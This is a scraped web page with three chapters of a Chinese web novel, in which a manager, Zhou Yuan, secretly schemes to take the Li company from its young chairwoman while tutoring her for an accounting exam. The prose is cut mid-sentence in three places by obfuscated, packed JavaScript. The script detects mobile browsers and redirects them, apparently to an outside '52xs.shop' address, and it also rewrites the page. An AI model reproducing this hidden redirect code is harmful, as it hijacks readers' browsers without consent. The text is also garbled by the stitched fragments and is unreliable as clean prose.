周垣让李婉平签下的担保公司还需要至少三个月的时间才能成立,所以在那之前,周垣必须跟李婉平友善相处,不能让李婉平察觉他的企图。所以,周垣用了一招声东击西,把李婉平拿捏地死死的。 周垣问李婉平,“什么时候考试?” 李婉平说月底。 周垣便将会计书递给李婉平,“那抓紧时间,从今天开始教你。” 李婉平没成想周垣说教就教,但周垣是好心,李婉平自然也不会拒绝。只不过这样一来,晚上就不能学着看文件了,有一点点可惜。 李婉平现在对会计方面只是入门,周垣一个注册会计师教她,根本就是大材小用。不过这么一对一的教学,李婉平的进步直接可以用飞跃来形容。 考试那天,周垣特意亲自开着车将李婉平送到了考场。对此李婉平很是感激,她知道周垣很忙,一天的时间,周垣可以做很多事,但他却特意来陪李婉平考试,这不能不让李婉平心怀感激。 考场的地点设在了一所职业学院,但很巧的是,这所职业学院也是公务员的考点所在。北校区考会计,南校区考公务员。一辆辆汽车堵得整条街几乎水泄不通,满眼看过去不是人就是车,不是车就是人。 周垣随便把车往路边一停,贴不贴条的也无所谓了,反正他也不差那几百块钱。 周垣站在车外等着,他身高腿长气质出众,往人群里一站,格外地显眼。不少路过这里准备要进去考试的小姑娘都不由自主多看了他两眼。连发广告传单、送小扇子的大妈都在周垣身边走了好几个来回。 周垣冷漠无视那些略带暧昧的目光,忽然就听着背后有人叫他。他扭头一看,来人却是梁志泽。 梁志泽从人群中走过来,看到真的是周垣后有几分惊讶,“你怎么在这里?” 周垣言简意赅,“陪李婉平考职称。” 梁志泽闻言一脸见了鬼的表情,“你真的假的?” 周垣没吭声。 梁志泽越发搞不明白,“不是,你这什么套路?” 周垣没答岔开话题,“你怎么在这?” 梁志泽实话实说:“路过,堵车,一眼就瞧见你了。” 梁志泽这话倒真是不假,这里是考点,车堵得跟锅粥一样,他正坐在后车座上等着,一眼就看到了鹤立鸡群的周垣。 周垣没接话。 梁志泽从裤口袋里摸出烟盒,递给周垣一根,自己又抽了一根,“你那边操作的怎么样了?” 周垣反问:“你指什么?” 梁志泽吊儿郎当地道:“还能指什么?资金啊。咱们虽然是兄弟,但还得明算账。三个月后,我那百分之三十的钱投进去,你可不能玩我。” 周垣直视着脚下散落的灰烬,语气淡漠无波,“我什么时候坑过你?” 梁志泽品了品这话的意思,笑了声,“那行,我跟着你发财。” 他话落,将只抽了一半的烟扔在地上踩灭,“我还有事,先走了。你就搁这儿等你家小董事长吧。” 周垣没搭理他。 梁志泽伸手握拳不重不轻在周垣的肩膀上捶了下,然后转身走了。 梁志泽走后,周垣拿出手机给何锐打了个电话。他在电话里吩咐何锐,把西郊的招标工程让三个点给盛和集团。 何锐闻言一愣,不解地问:“周总,这项工程咱们中标的可能性高达百分之九十,而且王总和杨总都已经退出了招标,咱没道理给盛和集团让利啊。” 周垣没解释,只命令何锐照做便是。 何锐没办法,只能恭敬应下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628878|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 让利的文件当天下午就被送到了盛和集团,当时蒋柏政正在开一个高层会议,助理将文件送进会议室的时候,蒋柏政整个人都怔了下。 他随手将文件翻了几页,忽然反手一摔,文件沿着桌面飞出半尺远,惊了在座所有的高层。 蒋柏政微微敛着眸,语气沉了些,“都看看,周垣是什么意思。” 在座的众人皆都面面相觑,文件在众人手中一一传阅,最后给到了集团副总的手里。 从文件上看,就是一份普通的让利合同,没什么毛病。但李氏集团向来与盛和集团是竞争关系,所以,李氏集团忽然向盛和集团示好,总有点黄鼠狼给鸡拜年的味道。 盛和集团的副总将文件仔仔细细地看了一遍,给了一个相对中肯的说法,“会不会是因为西郊这个项目太大了,李氏集团一口吃不下,才想分出来一些?” 蒋柏政冷着眉眼没吭声,但明显对这个解释不太满意。 财务总监又道:“我最近观察了李氏集团的资金走向,也不知道周垣是怎么想的,一口气投了很多项目。我估计李氏集团现在内部可用的流动资金应该不多,所以,西郊这一块,他若是独吞,应该是有些吃力的。” 蒋柏政眯了眯眼,“西郊这个项目李氏集团筹备了整整一年,周垣对它势在必得,为什么临秋末晚却资金不足了?这样的低级错误,周垣不会犯。如果李氏集团内部资金真的不足,那也一定是周垣故意而为之。” 众人闻言一阵议论。 财务总监不解地道:“但这样做,周垣图什么?” 蒋柏政的脸色沉了些,“最近周垣都在做什么?” 坐在会议桌右边的一个四十多岁的男人开口道:“上个星期,周垣和李氏集团的董事长一起去了E市的度假村,应该是去看在度假区山顶的那个酒店。” 蒋柏政愣了下,“周垣和李氏集团的董事长?李氏集团的董事长也去了?” 男人点头说是,“不仅一起去了,还闹了点桃色新闻。” 蒋柏政不吭声静等下文。 男人继而道:“我一个亲戚在E市度假村的酒吧当主管,他跟我八卦,说当时周垣和他们的小董事长去工地的时候正好赶上下暴雨,两个人被困在山顶的工地上待了整整一个晚上。你说这孤男寡女的在一起待上一整晚,能不让人多想吗?听说这件事整个度假区的人都知道了。” 男人话落,在座的众人也都跟着暧昧地笑了笑。 有好事的人描了一句,“看来,这李氏集团必然得姓周了。” 众人闻言笑意更深。 蒋柏政的眉目清清淡淡,没有任何波动,“李氏集团的让利文件拿到法务部让律师看一下,如果没有问题,再拿给我签字。” 会议助理恭敬应着。 蒋柏政继而起身,面无表情地说了句散会,然后便转身离开。 从会议室出来,蒋柏政给李婉平打了个电话,但电话那头提示关机,蒋柏政也只好作罢。 李婉平是进考场前把手机关机的,但考完之后却一直忘了开。以至于等到晚上李婉平回到家时才发现她这一天手机都很安静,才后知后觉反应过来,她的手机居然还没开机。 李婉平赶紧把手机打开,一共有三个未接来电,其中两个是来自助理赵曼,另一个是蒋柏政。 李婉平先给赵曼回了个电话,但也没什么重要的事,就是一些日常工作的提醒,比如文件放到办公桌上了之类的。 李婉平一一应下,挂断电话后,又准备给蒋柏政回个电话。但这一次,李婉平翻到号码刚要拨出去,手指微顿,又把电话放了回去。 16. 第16章 已经是晚上九点半多了,这个时间说晚不晚,但说早也不早。李婉平琢磨着蒋柏政应该找她也没什么重要的事,所以,她觉得还是等明天再给蒋柏政回个电话比较合适。 李婉平继而起身走向窗台,挽起窗帘又推开玻璃,夏日的夜风温热,轻轻拂过李婉平的真丝睡衣,掀动着裙摆。 在窗台上摆放着几盆绿植,都是些常见的品种,绿萝,发财树,仙人掌球。 李婉平喜欢养这些小植物,她喜欢让家里有点自然的气息。她正拿着喷壶给绿萝浇水,隔壁窗台的玻璃门忽然被推开,紧接着周垣就从房间里走了出来。 他逆着月光暗淡的光影,指尖夹了一支焚烧的烟,另一手握着电话放在耳边,不时的说着什么。 因为离得不算远,李婉平大概能听见几句,约莫着是工作上的事。 今天周垣为了陪李婉平考试特意抽了一整天的时间,但李婉平上午就全部考完了,一共就两门,会计基础和经济法。 中午周垣带着李婉平出去吃了个饭,下午又陪着李婉平去了趟书店。 李婉平除了学会计还报了法律,但她就知道报网课,什么书有用她一点也不懂。还是周垣好心陪她去书店挑了几本实用的教材,免去了李婉平不少苦恼。 李婉平正这么想着,周垣那边电话也打完了。周垣一抬眸,就正好看到了正在隔壁窗台浇花的李婉平。 两个人目光相交的瞬间,李婉平明显有些莫名紧张。 她礼貌一句:“周总,晚上好。” 周垣不咸不淡嗯了声。 李婉平又道:“这么晚了,你还没睡啊。” 她说完这句话就觉得自己有没话找话的嫌疑。 果不其然周垣面无表情瞧着她,一副不太友好的样子。 李婉平默了一秒。 周垣言简意赅,“正准备睡。” 李婉平抿了下唇,“那……晚安。” 周垣没吭声,直接转身返回房间,玻璃门“啪嗒”一声关上了。 但周垣却并不是回房间睡觉。 他拿了钥匙驱车去了商业区最有名的一家KTV,今天梁志泽做东,请朋友喝酒K歌,当然,周垣也在邀请之列。 周垣进包厢的时候,梁志泽已经喝大了,整个人窝在两个性/感美女之间东倒西歪。 他一看到周垣,眼睛弯了弯,说着醉话,“哟,这不是周总吗?都几点了你才来?你是不是把你家小董事长哄睡着了才敢出门?” 周垣没稀搭理他,径直走到斜对面的沙发上坐下。 一旁的江厉很赶眼神儿,赶紧叉了块西瓜塞进梁志泽的嘴里,生怕他再说些什么屁话。 梁志泽很享受的抱着美女吃着西瓜,包厢里还有一个男人正在唱歌,音都不在调上,鬼哭狼嚎的。 周垣皱着眉扫了一眼,那个男人是梁志泽的发小,E市土地局局长的公子,韩齐。 这位韩公子是一个彻头彻尾的纨绔子弟,平日里一点正事儿没有,或者说,他唯一的正事儿就是吃喝玩乐。 周垣从心底里排斥与这样的纨绔子弟来往,但谁让韩公子有一个在土地局当一把手的爹,所以,即便周垣心里再怎么不待见他,表面上也得做做样子。 周垣入座后,屋里的美女都把目光盯了过来。 在这些权贵之中,年轻的本来就占少数,年轻又长得好的更少,而像周垣这样年轻又长得如此英俊的,则少之又少。 这些作陪的女人反正都是要陪人,能找个帅的谁不愿意? 周垣一坐下,他左右两边立刻就围上来两个女人,千娇百媚的帮他点烟倒酒。 周垣却表现得很冷漠。 其中一个女人不甘心,匍匐在周垣的腿上风情万种地问他,“老板,晚上要带我走吗?” 周垣的声音很低沉,“去哪?” 女人媚笑,手指似有若无地轻轻划着周垣的西裤,“老板想带我去哪,我就跟老板去哪。” 周垣叼着烟顾她一眼,不着痕迹拿开了女人放在他西裤上的手。 女人顿时大失所望。 周垣也不在意,只冷漠抽着他的烟。 周垣其实并不喜欢这样的娱乐场所,但他不能不来。他必须来这样的地方跟这些老总、朋友、太子党联络感情,不然就显得他很另类,但是来归来,不乱搞男女关系是他的底线。 韩齐唱完歌后就拿起一瓶啤酒灌了口,显然他也喝多了,走路都有点晃。他看到周垣后咧嘴一笑,大声喊了句:“垣哥!” 周垣这边还没搭话,梁志泽那边就吼了一嗓子,“你喊那么大声干什么?吓我一跳!” 韩齐晃悠着走到周垣身边坐下,“垣哥,我好久没见你了,我真想你!” 这话一出来,周垣就知道这小子是真喝大了。 江厉在一旁哈哈大笑,“你有多想你垣哥?比想那些大/胸美女还想吗?” 韩齐白了江厉一眼,“你懂什么?美女身边过,垣哥留心间。” 江厉正喝酒,险些被韩齐这句话给呛死。 反观周垣倒是淡定多了,任尔东西南北风,他一动不动。 韩齐一只手搭在周垣的肩膀上,另一只手给周垣倒了杯酒,“来,垣哥,我敬你!” 周垣垂眸顾了一眼,接过酒杯一口干了。 周垣的酒量很好,喝酒就跟喝水一样。一圈下来全喝趴了,他眼里都没半点醉意。 梁志泽瞧着韩齐嘲讽笑,“你小子拼酒别选错了人,找你垣哥喝,你醉上三天三夜都醒不了。” 这话韩齐是服的,但他曾经不服。直到后来有一次他跟周垣拼酒,红的白的啤的掺着喝,韩齐喝得都找不着北了,周垣还没事儿,从那之后,周垣就是他垣哥了。 韩齐嘿嘿地笑,“我知道我知道,我不是找垣哥拼酒,我就是想敬他一杯。” 梁志泽哼笑一声,又跟坐在一旁的美女划拳去了。 这时江厉凑了过来,整个包厢除了周垣之外,也就江厉还没喝高。他趁韩齐又去唱歌的空档,压低了声音对周垣道:“北外环那块地,志泽想拉韩齐一起投资。那块地不好批,但拉上韩齐,关系就疏通上去了,你觉得怎么样?” 周垣的眼眸暗了暗,“那块地我暂时不想做,资金不足。” 江厉闻言有些意外,“没听说你最近有别的投资啊。” 周垣姿势慵懒叼着烟,漫不经心,“最近有别的安排,但暂时还没定下来。” 江厉也是商场里混的人,一听周垣这话,就知道周垣不方便多说,也就没再多问。 其实,周垣并非资金不足,只不过,最近李氏集团的钱都让他投出去了,内部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628879|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流动资金过低,他总要留点自己的钱以备不时之需。 周垣又自顾自喝了几杯,也不知道为什么,只要一想到李氏集团的资金链,他就感到胸口沉闷不已。 如果真到了那一天,不知道李婉平会怎么样。大概率会哭吧,她那么脆弱。 周垣这样想着,心思更加烦闷,他继而起身,对还没喝多的江厉招呼了一声,“我出去透透气。” 江厉搂着美女应了声。 周垣出了包厢的门就在走廊尽头的窗户那里抽了根烟。窗外璀璨的霓虹笼罩着长长的街道,这个时辰很热闹,正是夜生活最纸醉金迷的开始。 周垣穿着黑色的衬衣、西裤,被窗外的灯火照得迷离,分不清颜色。他逆着斑驳的光与影,与这漆黑的夜幕相融,毫无违和。 或许,周垣是属于暗夜的男人。 他抽完一支烟后又点了一支,直到抽完了四、五支,他才重新返回了包厢。 一行人一直玩儿到凌晨三点多才散场,梁志泽和韩齐都已经醉得走不动路了,江厉还算可以,但走路也晃。 周垣打电话给前台,让开了三个房间,吩咐服务员将这三个人分别弄房间里去休息。 做完这一切,都已经快凌晨四点了。 周垣本想回家,但半路又让代驾直接把他送到了公司。 这个时候公司除了保安之外没有人在岗,周垣不想惊动保安,便直接从后门刷了卡坐员工电梯直接到达了五楼办公室。他的办公室在李婉平办公室的斜对面,他一走过去,就看到了李婉平的办公室。 周垣脚步微顿,转而走向了李婉平的办公室。 隔着磨砂玻璃,办公室里一片漆黑,周垣站在玻璃窗外看了一会儿,又走到门前。门板上有一个门牌,上面写着六个字:董事长办公室。 周垣的眼眸闪过刹那间阴霾,一秒归为平寂。 他记得他刚来这个公司的时候,李婉平的父亲很看重他。那个时候周垣的身份是董事长助理。 李婉平的父亲曾对周垣许诺,说他就李婉平这么一个女儿,将来也未必能撑得起这个公司。如果周垣做的好,以后可以直接当董事长,然后分些股份给李婉平,让李婉平衣食无忧就可以了。 那个时候周垣还很年轻,就跟现在的李婉平差不多的年纪。他为了帮李婉平的父亲拓展业务,几乎是昼夜不停地忙碌。 毫不客气的说,如果将李氏集团划分为十块,那么有三块是李婉平家人的努力,另外七块都是周垣的功劳。 在周垣进入李氏集团之前,李氏集团还不是一个很强大的公司,充其量只能算是小规模。所有员工加起来也才四十多个人,但通过周垣十年的努力,李氏集团几乎可以成为与盛和集团势均力敌的龙头企业。 就连蒋柏政的父亲都说,如果能把周垣挖到盛和集团就好了。 而对于李婉平父亲曾对周垣的许诺,是李婉平的父亲食言在先。 人总不能卸磨杀驴。 如果周垣自始至终只是一个普通的高层领导混工资也就罢了,但他为了李氏集团打拼了整整十年。这里都是他的心血,都是他的汗水,你让他现在将李氏集团拱手李婉平,这让他怎么能甘心? 周垣微不可查敛了眸,与周围的黑暗融为一体。良久,他才转身,然后大步返回了自己的办公室。 17. 第17章 次日李婉平来公司的时候并不知道周垣已经来了。她抱了一摞她已经签过字的文件给何锐,请他转交给周垣。 何锐也不知道周垣已经来了,因为昨天凌晨周垣来的时候并未惊动保安,所以根本就没有人知道周垣现在在办公室里。 何锐原本就挺瞧不上李婉平,冷声冷气地让李婉平自己把文件给周垣放办公桌上。 李婉平碍于何锐是周垣的助理,也不想得罪他,就直接抱着文件进了周垣的办公室。 但她一开门人就傻了。 周垣不仅在办公室,还正站在办公室的沙发旁换衣服,而且衬衣的扣子还没来得及系。结实地胸肌就那么在衬衣里若隐若现,简直性感撩人。 李婉平顿时脸一红,几乎是条件反射似的调头退了出去,门“啪嗒”一声关了。 何锐刚好从这里路过,瞧见李婉平这个样子,眉头皱了下,“你怎么了?” 李婉平张了张嘴,但话还没说出来,身后办公室的门又“啪嗒”一声开了。 何锐下意识抬眸去看,看到周垣后微微一愣,“周总,您什么时候来的?” 周垣对何锐的话置若罔闻,转而问李婉平,“有事?” 李婉平支支吾吾嗯了声,然后把文件递给周垣,“我来送文件,都已经签好了。” 周垣不咸不淡嗯了声,却并未接,只是转身一边往办公室里走,一边对李婉平道:“进来。” 李婉平只好抱着文件走了进去。 周垣不紧不慢坐回办公椅,“最近市中心有一项绿化工程可以竞标,回头我让何锐把文件给你送去,你看完之后给我反馈意见。” 李婉平点头应着。 周垣继而将李婉平放在办公桌上的文件翻开扫了一眼,刚要说什么,桌上的座机却响了起来。 周垣按下免提,电话那边立刻传来了前台的声音,“周总,盛和集团的蒋总过来了。” 周垣淡漠嗯,“请他上来。” 前台恭敬应着。 周垣随即挂断了电话。 李婉平很赶眼神儿,连忙道:“那周总你先忙。” 周垣点了点头。 李婉平赶紧转身迈步离开。 她走到办公室门口,门一开,来找周垣的蒋柏政也正好走到了门外。 蒋柏政今天穿了一件酒红色的衬衣,这种红色很挑人,一般人驾驭不了,穿出来基本就是灾难。但蒋柏政却十分适合,他本来就自带三分痞气,再加上这种轻挑的颜色,更让蒋柏政多了几分风流不羁。 蒋柏政眉眼弯了弯,漾起浅笑,“好久不见,李董。” 李婉平礼貌客气地回:“好久不见,蒋总。” 蒋柏政笑容更深,“中午有空吗?我请你。” 李婉平刚要开口婉拒,身后办公室内毫无征兆响起一个男声,“李董,帮我送份文件。” 李婉平闻言一愣,下意识转身看向周垣。 周垣面无表情将一份文件放在桌沿,“西郊办事处的位置知道吗?把这份文件送去那里给沈书记。” 李婉平哦了声,赶紧快步走到桌子旁将文件拿起来。 一旁的蒋柏政将这一幕尽收眼底,对周垣打得什么算盘心知肚明。从李氏集团驱车去西郊办事处少说也得一个半小时,来回一趟仨小时,现在都快十点了,李婉平这一去,哪还有空再跟他出去吃饭? 蒋柏政皮笑肉不笑描了句:“周总,送文件这种事还需要李董亲自去吗?在我们盛和集团,这种小事,随便安排一个员工就办了。” 周垣无波无澜嗯,他的语调不高不低,却不容置疑,“那是在盛和集团,我们李氏集团不这样办事,所以蒋总少操心。” 蒋柏政噎了一口,脸上的神色一寸寸沉了下来。 周垣继而微微偏头看了眼李婉平,“还愣着做什么?等时辰吗?” 李婉平也噎了一口,赶紧转身走了。 李婉平一路驱车驶往西郊,到那里的时候已经快中午十二点了。正值饭点,办事处里没什么人,只有两个值班的员工。 李婉平走到门口轻轻扣了下门板。 其中一个员工抬起头来礼貌问她:“请问有什么事吗?” 李婉平抱着文件问:“沈书记在吗?” 那个员工起身,往里面办公室的方向走了两步,“你跟我来。” 李婉平赶紧跟上。 员工将李婉平带到里间的一个办公室,办公室的门没关,员工还没走到门口就喊了一嗓子,“沈书记,有人找您。” 办公室里应了一声,听声音,年岁应该在五十往上。 员工侧身给李婉平让出一条路,李婉平赶紧微微欠身向她道谢。 员工摆了摆手,说着进去吧,然后就转身走了。 李婉平继而迈步走进办公室,她一进门,那位沈书记就站起来了。 沈书记带着眼镜,穿着中规中矩的白衬衫,面相挺慈祥,看上去像是一位挺好说话的领导。 他绕过办公桌,手里拿着纸杯正准备给李婉平倒杯水。 李婉平赶忙上前一步礼貌客气地道:“不用麻烦了沈书记,我就是来送文件的,送完我就走了。” 沈书记还是给李婉平倒了杯水,“天热,大老远的跑一趟,怎么能连口水都不喝?” 李婉平也就没再拒绝,礼貌把水接过来喝了一口。 她继而将文件递给沈书记,“这是周总让我给您送来的,您看一下。” 沈书记接过文件打开扫了一眼,说了声好,“如果有什么问题,我再联系周总。” 李婉平点头。 沈书记将文件放到了一边,“李董还没吃饭吧,但西郊这地方偏,附近没什么饭店,李董要是不嫌弃,就去我们员工食堂随便吃点。反正周总下午也要过来,李董吃完饭刚好能跟周总一起去看看地。” 李婉平闻言一愣,“周总下午要过来吗?” 沈书记说是啊,“怎么李董不知道吗?” 李婉平倒是真不知道,但她并没有表现出来。 沈书记朝着门外喊了声,“小王。” 外面应了声,很快带李婉平来的那个员工又走了过来。 沈书记交待道:“你带李董去咱们食堂吃饭吧。” 小王应着,转而对李婉平道:“李董,您跟我来。” 李婉平连忙对小王道谢,她顿了顿,又对沈书记道:“给您添麻烦了。” 沈书记和蔼笑说没事儿。 李婉平这才转身跟着小王去了员工食堂。 可能是因为这里比较偏僻,员工食堂也比较简陋,菜色不多,就那么简单的三大盆,一肉两素。 李婉平跟在小王后面一样打了点,然后随便找了张桌子坐。 李婉平其实也不算挑食,但这里的饭菜是真的难吃。那道肉菜大料味儿极重,素菜又齁咸,李婉平是压了好几口米饭,才勉强把自己打的饭菜咽了下去,好歹没有浪费粮食。 吃完饭后,李婉平便跟着小王往回走,才一出食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李婉平赶忙解释:“不是,我知道周总你是好心。我的意思是,我没有喜欢蒋总,所以……” 所以没有必要知道他是不是一个对她没安好心的男人。 气氛一时有些尴尬。 李婉平怕她没解释清楚,又补了一句:“蒋总不是我喜欢的类型。” 周垣垂眸顾她一眼。 李婉平支支吾吾的:“我喜欢有能力,有担当,善良、真诚、正直的男人,我不喜欢……不喜欢蒋总那样的。” 李婉平说着深吸一口气,“我其实知道蒋总是有目的地接近我,我虽然没有阅人无数,但我并不傻,蒋总他太刻意了。” 周垣闻言眸中闪过一丝微不可察的波澜。 李婉平继而道:“但他是盛和集团的总裁,盛和集团与李氏集团有诸多合作项目,我身为李氏集团的董事长,不能因为一点点小事就跟盛和集团的总裁翻脸。” 李婉平能说出这番话,是周垣没有想到的。 他忽然发现,他是真的小瞧了李婉平。 周垣静默良久,望着冷冷清清的荒地,“那么我呢?” 李婉平一愣。 周垣的语气中没有一丝波澜,“我主动教你看文件,带你去工地实地考察,还教你学会计,我做这些又是带了什么目的?”